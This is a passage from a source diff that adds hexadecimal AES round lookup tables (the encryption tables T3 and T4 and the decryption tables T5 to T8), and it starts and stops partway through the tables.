0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ] + T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ] + T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ] + + # Transformations for decryption + T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ] + T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ] + T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ] + T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 